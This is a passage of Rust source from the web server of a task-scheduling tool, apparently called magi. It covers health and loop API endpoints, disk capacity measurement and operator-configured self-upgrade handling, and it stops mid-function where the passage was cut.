2670/// Refresh the shared cache and optionally request the same handover as the UI.
2671async fn run_update_recheck(ui: Arc<Ui>) {
2672    loop {
2673        let cfg = match Config::discover(&ui.repo, None) {
2674            Ok((cfg, _)) => cfg,
2675            Err(e) => {
2676                updater::log_warn(
2677                    &ui.home,
2678                    &format!("auto-upgrade: config unavailable: {e:#}"),
2679                );
2680                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2681                continue;
2682            }
2683        };
2684        if should_spawn_recheck(&cfg.update)
2685            && let Some(checker) = updater::Checker::new(&cfg.update)
2686        {
2687            let progress = updater::read_progress(&ui.home);
2688            let mut latest = checker.cached_update();
2689            if update_recheck_due(&checker, progress.as_ref()) {
2690                match checker.newer_release().await {
2691                    Ok(found) => latest = found,
2692                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2693                }
2694            }
2695            if cfg.update.auto_restart
2696                && let Some(latest) = latest
2697            {
2698                let response =
2699                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2700                updater::log_step(
2701                    &ui.home,
2702                    &format!("auto-upgrade: request status {}", response.status()),
2703                );
2704            }
2705        }
2706        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2707    }
2708}
2709
2710/// [`UpdateView`] from the same throttled, disk-only state
2711/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2712/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2713/// no cached state at all, which is correct: an operator who turned checking
2714/// off gets no opinion, not a stale one.
2715fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2716    let default;
2717    let cfg = match cfg {
2718        Some(cfg) => cfg,
2719        None => {
2720            default = Config::default();
2721            &default
2722        }
2723    };
2724    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2725    match latest {
2726        Some(latest) => UpdateView {
2727            available: true,
2728            to: Some(latest.tag_name),
2729        },
2730        None => UpdateView {
2731            available: false,
2732            to: None,
2733        },
2734    }
2735}
2736
2737/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2738/// from the parked run's own state when the stage is
2739/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2740/// already on disk in `run.json`, so this reads them fresh rather than
2741/// trusting whatever was true the moment the park was requested.
2742fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2743    let now = Timestamp::now();
2744    let lease = updater::read_lease(&ui.home);
2745    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2746    let run_id = alive
2747        .and_then(|l| l.parked_run.as_deref())
2748        .or(progress.parked_run.as_deref());
2749    let parking = progress.stage == updater::Stage::Parking;
2750    let waited = alive.map_or_else(String::new, |l| {
2751        let secs = updater::waited_secs(l, now);
2752        format!(" (waited {} min so far)", secs / 60)
2753    });
2754    let run_text = run_id
2755        .filter(|_| parking)
2756        .map(|id| match read_run(&ui.runs, id).ok() {
2757            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2758            None => format!("run {id} is finishing"),
2759        });
2760    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2761        .filter(|t| parking && !t.is_empty())
2762        .map(|t| format!("{t} finishing"));
2763    let waiting_on = match (run_text, talks_text) {
2764        (None, None) => None,
2765        (run, talks) => {
2766            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2767            Some(format!(
2768                "{} before the address is handed over{waited}",
2769                parts.join(" and ")
2770            ))
2771        }
2772    };
2773    let detail = progress
2774        .detail
2775        .clone()
2776        .or_else(|| updater::read_note(&ui.home, &progress));
2777    let stalled = updater::stall(&progress, lease.as_ref(), now);
2778    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2779    UpgradeProgressView {
2780        trigger: progress.trigger,
2781        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2782        stuck_kind: stalled.map(|s| s.kind),
2783        handover_alive: alive.is_some(),
2784        stage: progress.stage,
2785        from: progress.from,
2786        to: progress.to,
2787        waiting_on,
2788        started_at: progress.started_at,
2789        updated_at: progress.updated_at,
2790        detail,
2791    }
2792}
2793
2794/// Last successful capacity observations, independent of admission/cleanup.
2795/// Cold or unavailable directory measurements are null, never invented zeros.
2796#[derive(Debug, Serialize)]
2797struct DiskView {
2798    /// Free bytes on the volume holding the runs, when measurable.
2799    #[serde(skip_serializing_if = "Option::is_none")]
2800    free_bytes: Option<u64>,
2801    /// Everything the runs directory occupies, when fully measurable.
2802    runs_bytes: Option<u64>,
2803    /// Everything the runs' worktrees occupy.
2804    worktrees_bytes: Option<u64>,
2805    /// The shared build cache's size, when the config names one.
2806    #[serde(skip_serializing_if = "Option::is_none")]
2807    cache_bytes: Option<u64>,
2808    /// Last bounded cleanup report, including retention and failure reasons.
2809    retention: Option<crate::retention::Report>,
2810}
2811
2812/// Capacity walks have their own demand-driven single flight, not the revision
2813/// worker: a large build cache must never delay revisions or a health response.
2814const DISK_REFRESH: Duration = Duration::from_secs(60);
2815
2816#[derive(Debug, Clone, PartialEq, Eq)]
2817struct DiskScope {
2818    runs: PathBuf,
2819    worktrees: PathBuf,
2820    cache: Option<PathBuf>,
2821}
2822
2823impl DiskScope {
2824    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2825        Self {
2826            runs: ui.runs.clone(),
2827            worktrees: ui.worktrees_root.clone(),
2828            cache: cfg.and_then(Config::cache_dir),
2829        }
2830    }
2831}
2832
2833#[derive(Debug, Clone, Copy, Default)]
2834struct DiskCapacity {
2835    free_bytes: Option<u64>,
2836    runs_bytes: Option<u64>,
2837    worktrees_bytes: Option<u64>,
2838    cache_bytes: Option<u64>,
2839}
2840
2841impl DiskCapacity {
2842    fn measure(scope: &DiskScope) -> Self {
2843        Self {
2844            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2845            runs_bytes: disk_capacity_size(&scope.runs),
2846            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2847            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2848        }
2849    }
2850
2851    fn retain_successes(&mut self, next: Self) {
2852        self.free_bytes = next.free_bytes.or(self.free_bytes);
2853        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2854        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2855        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2856    }
2857}
2858
2859/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2860/// best-effort total, an incomplete observation must not look like an empty tree.
2861fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2862    let metadata = match std::fs::symlink_metadata(path) {
2863        Ok(metadata) => metadata,
2864        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2865        Err(_) => return None,
2866    };
2867    if !metadata.is_dir() {
2868        return Some(if metadata.is_file() {
2869            metadata.len()
2870        } else {
2871            0
2872        });
2873    }
2874    let mut total = 0;
2875    let mut stack = vec![path.to_owned()];
2876    while let Some(dir) = stack.pop() {
2877        for entry in std::fs::read_dir(dir).ok()? {
2878            let entry = entry.ok()?;
2879            let metadata = entry.metadata().ok()?;
2880            if metadata.is_dir() {
2881                stack.push(entry.path());
2882            } else if metadata.is_file() {
2883                total += metadata.len();
2884            }
2885        }
2886    }
2887    Some(total)
2888}
2889
2890#[derive(Debug, Default)]
2891struct DiskObservation {
2892    scope: Option<DiskScope>,
2893    capacity: DiskCapacity,
2894    in_flight: bool,
2895    finished: Option<std::time::Instant>,
2896}
2897
2898impl DiskObservation {
2899    fn observe(
2900        state: &Arc<Mutex<Self>>,
2901        scope: DiskScope,
2902        measure: impl FnOnce(&DiskScope) -> DiskCapacity + Send + 'static,
2903    ) -> DiskCapacity {
2904        let mut observation = state.lock().unwrap_or_else(PoisonError::into_inner);
2905        if observation.scope.as_ref() != Some(&scope) {
2906            observation.scope = Some(scope.clone());
2907            observation.capacity = DiskCapacity::default();
2908            observation.finished = None;
2909        }
2910        let capacity = observation.capacity;
2911        if observation.in_flight
2912            || observation
2913                .finished
2914                .is_some_and(|at| at.elapsed() < DISK_REFRESH)
2915        {
2916            return capacity;
2917        }
2918        observation.in_flight = true;
2919        drop(observation);
2920
2921        let refresh = DiskRefresh {
2922            state: Arc::clone(state),
2923            scope,
2924        };
2925        tokio::task::spawn_blocking(move || {
2926            let next = measure(&refresh.scope);
2927            let mut observation = refresh.state.lock().unwrap_or_else(PoisonError::into_inner);
2928            if observation.scope.as_ref() == Some(&refresh.scope) {
2929                observation.capacity.retain_successes(next);
2930            }
2931            drop(observation);
2932            // The guard also clears the flight on panic or a cancelled,
2933            // not-yet-started blocking job. No failed scan can wedge health.
2934            drop(refresh);
2935        });
2936        capacity
2937    }
2938}
2939
2940struct DiskRefresh {
2941    state: Arc<Mutex<DiskObservation>>,
2942    scope: DiskScope,
2943}
2944
2945impl Drop for DiskRefresh {
2946    fn drop(&mut self) {
2947        let mut observation = self.state.lock().unwrap_or_else(PoisonError::into_inner);
2948        observation.in_flight = false;
2949        if observation.scope.as_ref() == Some(&self.scope) {
2950            // Wait a full period after completion, including failed scans.
2951            observation.finished = Some(std::time::Instant::now());
2952        }
2953    }
2954}
2955
2956impl DiskView {
2957    /// Return immediately, retaining known capacity while one worker refreshes.
2958    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2959        let capacity = DiskObservation::observe(
2960            &ui.monitor.disk,
2961            DiskScope::of(ui, cfg),
2962            DiskCapacity::measure,
2963        );
2964        Self::with_capacity(ui, capacity)
2965    }
2966
2967    fn with_capacity(ui: &Ui, capacity: DiskCapacity) -> Self {
2968        Self {
2969            free_bytes: crate::disk::free_bytes(&ui.runs)
2970                .ok()
2971                .or(capacity.free_bytes),
2972            runs_bytes: capacity.runs_bytes,
2973            worktrees_bytes: capacity.worktrees_bytes,
2974            cache_bytes: capacity.cache_bytes,
2975            retention: ui
2976                .runs
2977                .parent()
2978                .and_then(|home| std::fs::read(home.join("retention.json")).ok())
2979                .and_then(|bytes| serde_json::from_slice(&bytes).ok()),
2980        }
2981    }
2982}
2983
2984/// The daemon's state as the UI presents it.
2985#[derive(Debug, Serialize)]
2986struct DaemonView {
2987    running: bool,
2988    idle: Option<bool>,
2989    pid: Option<u32>,
2990    /// Every task and run currently in flight. Empty when idle; more than
2991    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2992    /// run going at once.
2993    current: Vec<daemon::Current>,
2994    completed: Option<u64>,
2995    stale_for_secs: Option<i64>,
2996}
2997
2998impl DaemonView {
2999    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
3000    /// not this UI's — a crashed daemon must not look alive here while
3001    /// `doctor` calls it dead.
3002    fn of(status: Option<daemon::Reading>) -> Self {
3003        let Some(status) = status else {
3004            return Self {
3005                running: false,
3006                idle: None,
3007                pid: None,
3008                current: Vec::new(),
3009                completed: None,
3010                stale_for_secs: None,
3011            };
3012        };
3013        let now = Timestamp::now();
3014        let age = status.age_secs(now);
3015        Self {
3016            running: status.running(now),
3017            idle: Some(status.idle),
3018            pid: status.pid,
3019            current: status.current,
3020            completed: Some(status.completed),
3021            stale_for_secs: age,
3022        }
3023    }
3024}
3025
3026// Discover display configuration off the request path. Capacity measurement
3027// retains its separate single flight and scope/failure handling below.
3028fn refresh_health_config(ui: &Arc<Ui>) {
3029    let mut cache = ui
3030        .monitor
3031        .disk_cache
3032        .lock()
3033        .unwrap_or_else(PoisonError::into_inner);
3034    if cache.loading
3035        || cache
3036            .measured
3037            .is_some_and(|at| at.elapsed() < Duration::from_secs(60))
3038    {
3039        return;
3040    }
3041    cache.loading = true;
3042    let weak = Arc::downgrade(ui);
3043    std::thread::spawn(move || {
3044        let Some(ui) = weak.upgrade() else { return };
3045        let cfg = deputy_config(&ui.repo);
3046        let update = cached_update_view(cfg.as_ref());
3047        let mut cache = ui
3048            .monitor
3049            .disk_cache
3050            .lock()
3051            .unwrap_or_else(PoisonError::into_inner);
3052        cache.config = cfg;
3053        cache.update = Some(update);
3054        cache.measured = Some(std::time::Instant::now());
3055        cache.loading = false;
3056    });
3057}
3058
3059fn health_counts(
3060    ui: &Ui,
3061    fallback_questions_rev: u64,
3062) -> ApiResult<(usize, usize, usize, u64, usize)> {
3063    let mut index = ui
3064        .monitor
3065        .health_index
3066        .lock()
3067        .unwrap_or_else(PoisonError::into_inner);
3068    let ids = run_ids(&ui.runs);
3069    let seen: HashSet<_> = ids.iter().cloned().collect();
3070    index.runs.retain(|id, _| seen.contains(id));
3071    let mut unreadable = 0;
3072    for id in ids {
3073        // Recheck identity on every request, including atomic replacements
3074        // with preserved length/mtime. A failed stat is never cached as good.
3075        let identity = file_identity(&ui.runs.join(&id).join("run.json"));
3076        let bad = match identity {
3077            Ok(identity) => {
3078                if index.runs.get(&id).is_none_or(|(old, _)| *old != identity) {
3079                    let bad = read_run(&ui.runs, &id).is_err();
3080                    index.runs.insert(id.clone(), (identity, bad));
3081                    #[cfg(test)]
3082                    {
3083                        index.run_parses += 1;
3084                    }
3085                }
3086                index.runs[&id].1
3087            }
3088            Err(_) => true,
3089        };
3090        unreadable += usize::from(bad);
3091    }
3092    let questions_rev = try_stamps(ui.questions.root(), false, true)
3093        .map(|stamps| stamps_revision(&stamps))
3094        .unwrap_or(fallback_questions_rev);
3095    if index.questions.as_ref().is_none_or(|counts| {
3096        counts.revision != questions_rev || counts.measured.elapsed() >= QUESTION_COUNTS_TTL
3097    }) {
3098        let questions = ui.questions.list();
3099        index.questions = Some(QuestionCounts {
3100            revision: questions_rev,
3101            measured: std::time::Instant::now(),
3102            open: questions.iter().filter(|q| q.status.open()).count(),
3103            owner: questions
3104                .iter()
3105                .filter(|q| {
3106                    q.status.open() && (!q.waiting_on_agent() || ui.questions.deputy_exhausted(q))
3107                })
3108                .count(),
3109        });
3110    }
3111    let notifications_rev =
3112        stamps_revision(&try_stamps(ui.notices.root(), false, true).map_err(anyhow::Error::from)?);
3113    if index
3114        .notices
3115        .is_none_or(|(rev, _)| rev != notifications_rev)
3116    {
3117        index.notices = Some((notifications_rev, ui.notices.count_unread()));
3118    }
3119    let questions = index.questions.as_ref().unwrap();
3120    Ok((
3121        unreadable,
3122        questions.open,
3123        questions.owner,
3124        notifications_rev,
3125        index.notices.unwrap().1,
3126    ))
3127}
3128
3129async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
3130    let revisions = ui.monitor.revisions(&ui).await?;
3131    refresh_health_config(&ui);
3132    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
3133        // One read of the status file for the two fields that describe it, so
3134        // `daemon` and `loop` in the same answer cannot disagree about who is
3135        // running the loop.
3136        let reading = daemon::read_status(&ui.home);
3137        // Read on its own line, not inside the literal below: the loop's lock
3138        // is not reentrant, and a guard taken as a temporary there would still
3139        // be held when `loop_view` took it again.
3140        let loop_rev = ui.lock_loop().rev;
3141        let (
3142            runs_unreadable,
3143            questions_open,
3144            questions_needs_owner,
3145            notifications_rev,
3146            notifications_unread,
3147        ) = health_counts(&ui, revisions.2)?;
3148        let ((cfg, config_observed, sizes, measured), update) = {
3149            let cache = ui
3150                .monitor
3151                .disk_cache
3152                .lock()
3153                .unwrap_or_else(PoisonError::into_inner);
3154            (
3155                (
3156                    cache.config.clone(),
3157                    cache.measured.is_some(),
3158                    cache.disk.clone(),
3159                    cache.measured,
3160                ),
3161                cache.update.clone().unwrap_or(UpdateView {
3162                    available: false,
3163                    to: None,
3164                }),
3165            )
3166        };
3167        // Retain the base's capacity observation independently of config
3168        // refreshes. A cold config read may still be pending; an existing
3169        // capacity flight must remain visible to concurrent health requests.
3170        let prior_capacity = {
3171            let mut observation = ui
3172                .monitor
3173                .disk
3174                .lock()
3175                .unwrap_or_else(PoisonError::into_inner);
3176            // Adopt a completed size snapshot only before the scoped capacity
3177            // observer has started. Later scope changes remain its authority.
3178            if observation.scope.is_none()
3179                && let Some(sizes) = sizes
3180            {
3181                observation.scope = Some(DiskScope::of(&ui, cfg.as_ref()));
3182                observation.capacity = DiskCapacity {
3183                    runs_bytes: Some(sizes.runs),
3184                    worktrees_bytes: Some(sizes.worktrees),
3185                    cache_bytes: sizes.cache,
3186                    free_bytes: None,
3187                };
3188                observation.finished = measured;
3189            }
3190            observation.scope.as_ref().map(|_| observation.capacity)
3191        };
3192        let disk = if config_observed {
3193            serde_json::to_value(DiskView::of(&ui, cfg.as_ref())).ok()
3194        } else {
3195            serde_json::to_value(DiskView::with_capacity(
3196                &ui,
3197                prior_capacity.unwrap_or_default(),
3198            ))
3199            .ok()
3200        };
3201        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
3202        let jobs = crate::worker::active(&ui.home).map_err(ApiError::from)?;
3203        #[cfg(not(test))]
3204        let looping = ui.runtime_loop_view(reading.clone(), &jobs);
3205        #[cfg(test)]
3206        let looping = ui.loop_view(reading.clone());
3207        Ok(Json(HealthView {
3208            jobs: jobs.into_iter().map(WorkerView::from).collect(),
3209            version: env!("CARGO_PKG_VERSION"),
3210            home: ui.home.display().to_string(),
3211            queue_rev: revisions.0,
3212            runs_rev: revisions.1,
3213            questions_rev: revisions.2,
3214            talks_rev: revisions.3,
3215            notifications_rev,
3216            notifications_unread,
3217            loop_rev,
3218            runs_unreadable,
3219            questions_open,
3220            questions_needs_owner,
3221            daemon: DaemonView::of(reading.clone()),
3222            looping,
3223            disk,
3224            update,
3225            upgrade,
3226            upgrade_request_error: ui
3227                .upgrade_request_error
3228                .lock()
3229                .unwrap_or_else(PoisonError::into_inner)
3230                .clone(),
3231        }))
3232    })
3233    .await
3234}
3235
3236/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
3237#[derive(Debug, Serialize)]
3238struct LoopView {
3239    /// A scheduler is running, independently of this web process.
3240    running: bool,
3241    /// The scheduler has been asked to stop scheduling new work.
3242    stopping: bool,
3243    /// An explicit operator park was requested, independently from updates.
3244    parking: bool,
3245    /// This scheduler supports durable controls from any web generation.
3246    owned: bool,
3247    /// Repository the loop uses for tasks that name none - what it was
3248    /// started with while it runs, and what a start would use before that.
3249    repo: String,
3250    /// Merge mode override in force, or `null` when each repository's own
3251    /// config decides.
3252    merge: Option<String>,
3253    /// Why the last loop in this process ended, when it ended badly.
3254    ///
3255    /// The only place a crashed loop is visible to someone holding a phone.
3256    /// It is logged at error level as well, but a terminal nobody kept open
3257    /// is not a report, and a loop that died at 3am must not read as merely
3258    /// stopped in the morning. Named as [`Task::last_error`] is, because it
3259    /// answers the same question about the same kind of failure.
3260    last_error: Option<String>,
3261    /// The status file, judged the same way `/api/health` judges it: this is
3262    /// what says whether a loop is alive in some *other* process.
3263    daemon: DaemonView,
3264}
3265
3266/// A legacy embedded scheduler that this web process cannot control.
3267///
3268/// Worker-protocol schedulers use durable controls regardless of which process
3269/// started them. Older schedulers are identified by their foreign heartbeat.
3270#[derive(Debug, Clone, Copy)]
3271struct Foreign {
3272    /// The pid the other process published, when it published one.
3273    pid: Option<u32>,
3274}
3275
3276impl Foreign {
3277    /// Another process's live loop, or `None` when this process is free to
3278    /// run one.
3279    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
3280        // A fresh heartbeat with no pid in it is still evidence of a live
3281        // daemon. "Some other process" is the honest answer, and refusing
3282        // to start beside it is the safe one.
3283        if reading.is_some_and(|r| r.worker_protocol.unwrap_or_default() >= 1) {
3284            return None;
3285        }
3286        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
3287    }
3288
3289    /// How a conflict names it. The pid is the whole point of the message: it
3290    /// is what the operator needs to find the terminal that owns the loop.
3291    fn who(&self) -> String {
3292        match self.pid {
3293            Some(pid) => format!("another magi process (pid {pid})"),
3294            None => "another magi process".to_owned(),
3295        }
3296    }
3297}
3298
3299/// How a loop is started, as a future this module can hold onto.
3300///
3301/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
3302/// trait object or a hand-written `Debug` impl for the sake of one seam.
3303type UpgradeRunner = fn(PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3304
3305#[cfg(test)]
3306type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
3307
3308/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
3309#[cfg(test)]
3310fn launch_daemon(
3311    opts: daemon::Opts,
3312    stop: daemon::Stop,
3313) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3314    Box::pin(daemon::serve_until(opts, stop))
3315}
3316
3317/// Local web-control revisions and errors, plus the unit-test launch seam.
3318#[derive(Debug, Default)]
3319struct LoopState {
3320    /// The loop, while there is one.
3321    #[cfg(test)]
3322    live: Option<Live>,
3323    /// Local control changes streamed as `loop_rev`; actual scheduler and
3324    /// execution ownership comes from durable status and OS-held worker leases.
3325    rev: u64,
3326    /// Why the last loop ended, when it ended badly. See
3327    /// [`LoopView::last_error`].
3328    last_error: Option<String>,
3329}
3330
3331/// A loop in flight.
3332#[cfg(test)]
3333#[derive(Debug)]
3334struct Live {
3335    /// The cooperative stop, shared with the loop task.
3336    stop: daemon::Stop,
3337    /// The task itself, kept only to answer whether it is still there: a loop
3338    /// that panicked never records its own end, and without this the view
3339    /// would go on reporting a loop that no longer exists - the one lie that
3340    /// would leave the operator with no button to press.
3341    handle: tokio::task::JoinHandle<()>,
3342    /// What the loop was started with, so the view reports the repository and
3343    /// merge mode its runs will actually use rather than what an edit to the
3344    /// config since would give.
3345    opts: daemon::Opts,
3346}
3347
3348#[cfg(test)]
3349impl Live {
3350    /// Is the task still there? See [`Live::handle`].
3351    fn alive(&self) -> bool {
3352        !self.handle.is_finished()
3353    }
3354}
3355
3356/// Take the loop lock, recovering from a poisoned one.
3357///
3358/// What this mutex holds is a stop flag, a task handle and two counters, none
3359/// of which a panic elsewhere can leave in a state worth refusing to read.
3360/// Propagating the poison instead would mean an operator who can see the loop
3361/// running and can no longer stop it from the only surface they have.
3362fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
3363    state.lock().unwrap_or_else(PoisonError::into_inner)
3364}
3365
3366/// `GET /api/loop`.
3367async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
3368    blocking(move || {
3369        let reading = daemon::read_status(&ui.home);
3370        #[cfg(not(test))]
3371        let view = ui.try_loop_view(reading)?;
3372        #[cfg(test)]
3373        let view = ui.loop_view(reading);
3374        Ok(Json(view))
3375    })
3376    .await
3377}
3378
3379/// The body of `POST /api/loop`.
3380///
3381/// One required field and nothing else: no `default` and no unknown fields,
3382/// so a body that fails to say which way the switch was flipped is a 400
3383/// rather than a tap that quietly does the opposite of what was pressed.
3384#[derive(Debug, Deserialize)]
3385#[serde(deny_unknown_fields)]
3386struct LoopCommand {
3387    running: bool,
3388    /// Stop the run in flight at its next node boundary rather than letting it
3389    /// finish.
3390    ///
3391    /// Defaults to false, so the plain stop keeps meaning what it meant: a
3392    /// competition is tens of minutes of paid work and finishing it is
3393    /// normally the cheapest thing to do. A park is for the operator who
3394    /// wants the process gone now - to replace the binary, most of all - and
3395    /// it costs at most the node in progress because every node writes its
3396    /// state before the next one starts.
3397    #[serde(default)]
3398    park: bool,
3399}
3400
3401/// Start or control the detached scheduler without waiting for execution
3402/// workers. Only an explicit park asks workers to stop at a node boundary.
3403async fn loop_post(
3404    State(ui): State<Arc<Ui>>,
3405    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
3406) -> ApiResult<Json<LoopView>> {
3407    // Taken as a `Result` so a malformed body is a 400 like every other route
3408    // here, rather than axum's default 422 that the UI has no branch for.
3409    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3410    #[cfg(not(test))]
3411    {
3412        if body.running {
3413            ui.start_detached_loop().await?;
3414        } else {
3415            let foreign = Foreign::of(daemon::read_status(&ui.home).as_ref());
3416            ui.stop_loop(foreign, body.park)?;
3417        }
3418        Ok(Json(ui.try_loop_view(daemon::read_status(&ui.home))?))
3419    }
3420    #[cfg(test)]
3421    {
3422        blocking(move || {
3423            let reading = daemon::read_status(&ui.home);
3424            let foreign = Foreign::of(reading.as_ref());
3425            if body.running {
3426                ui.start_loop(foreign)?;
3427            } else {
3428                ui.stop_loop(foreign, body.park)?;
3429            }
3430            Ok(Json(ui.loop_view(reading)))
3431        })
3432        .await
3433    }
3434}
3435
3436/// What `POST /api/upgrade` set in motion.
3437#[derive(Debug, Serialize)]
3438struct UpgradeView {
3439    /// The version this process is running.
3440    from: String,
3441    /// The release it is replacing itself with, when there is one.
3442    to: Option<String>,
3443    /// What the operator should expect to happen next.
3444    detail: String,
3445}
3446
3447/// The stage of an upgrade that is still moving, if the record says so.
3448/// Mirrors `UPGRADE_BUSY_STAGES` in `assets/ui/app.js`.
3449fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
3450    progress.filter(|p| !p.stage.terminal())
3451}
3452
3453/// Retry timing extracted only from kaishin's known rate-limit diagnostics.
3454/// Unknown diagnostics retain their complete message without guessing a delay.
3455fn upgrade_retry_after(message: &str) -> Option<u64> {
3456    if !message.contains("GitHub") || !message.contains("rate limit") {
3457        return None;
3458    }
3459    if message.contains("retry now") {
3460        return Some(0);
3461    }
3462    let duration = message
3463        .split_once("resets in ")
3464        .or_else(|| message.split_once("retry after "))?
3465        .1
3466        .split_once(')')?
3467        .0;
3468    let mut rest = duration.trim();
3469    if rest.is_empty() {
3470        return None;
3471    }
3472    let mut total = 0u64;
3473    while !rest.is_empty() {
3474        let n = rest.find(|c: char| !c.is_ascii_digit())?;
3475        let amount: u64 = rest[..n].parse().ok()?;
3476        let scale = match rest[n..].chars().next()? {
3477            's' => 1,
3478            'm' => 60,
3479            'h' => 3600,
3480            'd' => 86400,
3481            _ => return None,
3482        };
3483        total = total.checked_add(amount.checked_mul(scale)?)?;
3484        rest = rest[n + 1..].trim_start();
3485    }
3486    Some(total)
3487}
3488
3489#[derive(Debug, Clone, Serialize)]
3490struct UpgradeRequestFailure {
3491    occurred_at: String,
3492    error: String,
3493    retry_after_secs: Option<u64>,
3494    /// Unix seconds; independent of the phone's polling cadence.
3495    retry_at: Option<u64>,
3496}
3497
3498impl UpgradeRequestFailure {
3499    fn new(error: String) -> Self {
3500        let retry_after_secs = upgrade_retry_after(&error);
3501        let now = std::time::SystemTime::now()
3502            .duration_since(std::time::UNIX_EPOCH)
3503            .unwrap_or_default()
3504            .as_secs();
3505        Self {
3506            occurred_at: jiff::Timestamp::now().to_string(),
3507            error,
3508            retry_after_secs,
3509            retry_at: retry_after_secs.and_then(|s| now.checked_add(s)),
3510        }
3511    }
3512}
3513
3514/// `POST /api/upgrade` - replace this binary with the newest release and come
3515/// back on it.
3516///
3517/// Replace the installed binary, restart the detached scheduler, release the
3518/// web listener, then start the successor. Active task and conversation
3519/// workers retain their immutable executable and continue without parking.
3520///
3521/// A legacy embedded scheduler is the only incompatible owner: its work
3522/// must finish or park before the first migration replaces its process.
3523///
3524/// Answers **202**: the reply has to reach the phone while this process can
3525/// still send one, and the phone learns the deck is back by reconnecting.
3526async fn upgrade_post(State(ui): State<Arc<Ui>>) -> Response {
3527    begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None).await
3528}
3529
3530async fn begin_upgrade(
3531    ui: &Arc<Ui>,
3532    trigger: updater::UpgradeTrigger,
3533    latest: Option<kaishin::LatestRelease>,
3534) -> Response {
3535    let reading = daemon::read_status(&ui.home);
3536    if let Some(other) = Foreign::of(reading.as_ref()) {
3537        return ApiError::conflict(format!(
3538            "{} is a legacy scheduler without detached restart support. \
3539             Finish or explicitly park its work in the existing UI before \
3540             this first migration; independent schedulers do not need this.",
3541            other.who()
3542        ))
3543        .into_response();
3544    }
3545
3546    // A second upgrade while one is moving would replace the binary and
3547    // signal the handover again after `serve` already consumed the first
3548    // signal, leaving the process in `replaced` forever. Try-lock rather than
3549    // wait: a phone connection must not hang behind a GitHub round trip.
3550    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
3551        return ApiError::conflict("another request is already preparing an upgrade")
3552            .into_response();
3553    };
3554    // Hold the same gate through recording/clearing the request outcome, so
3555    // an older response cannot overwrite a retry's result.
3556    if trigger == updater::UpgradeTrigger::Auto {
3557        let cfg = match Config::discover(&ui.repo, None) {
3558            Ok((cfg, _)) => cfg,
3559            Err(e) => {
3560                return ApiError::internal(format!("auto-upgrade config: {e:#}")).into_response();
3561            }
3562        };
3563        let Some(latest) = latest else {
3564            return StatusCode::NO_CONTENT.into_response();
3565        };
3566        let busy = ui.auto_upgrade_busy();
3567        let failed = ui
3568            .auto_failed_tag
3569            .lock()
3570            .unwrap_or_else(PoisonError::into_inner)
3571            .clone();
3572        let decision = auto_upgrade_decision(
3573            &cfg.update,
3574            updater::disabled_by_env(),
3575            ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst)
3576                || upgrade_in_motion(updater::read_progress(&ui.home).as_ref()).is_some(),
3577            busy,
3578            &latest.tag_name,
3579            failed.as_deref(),
3580        );
3581        if decision != AutoUpgradeDecision::Trigger {
3582            let reason = match decision {
3583                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3584                AutoUpgradeDecision::Skip(reason) => reason,
3585                AutoUpgradeDecision::Trigger => unreachable!(),
3586            };
3587            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3588            return StatusCode::NO_CONTENT.into_response();
3589        }
3590        // Close run admission, then recheck under the same request gate.
3591        // A resume that got in before the flag is visible in `resuming`;
3592        // one that arrives afterwards is refused by `begin_resume`.
3593        ui.upgrade_spawned
3594            .store(true, std::sync::atomic::Ordering::SeqCst);
3595        if ui.auto_upgrade_busy() {
3596            ui.upgrade_spawned
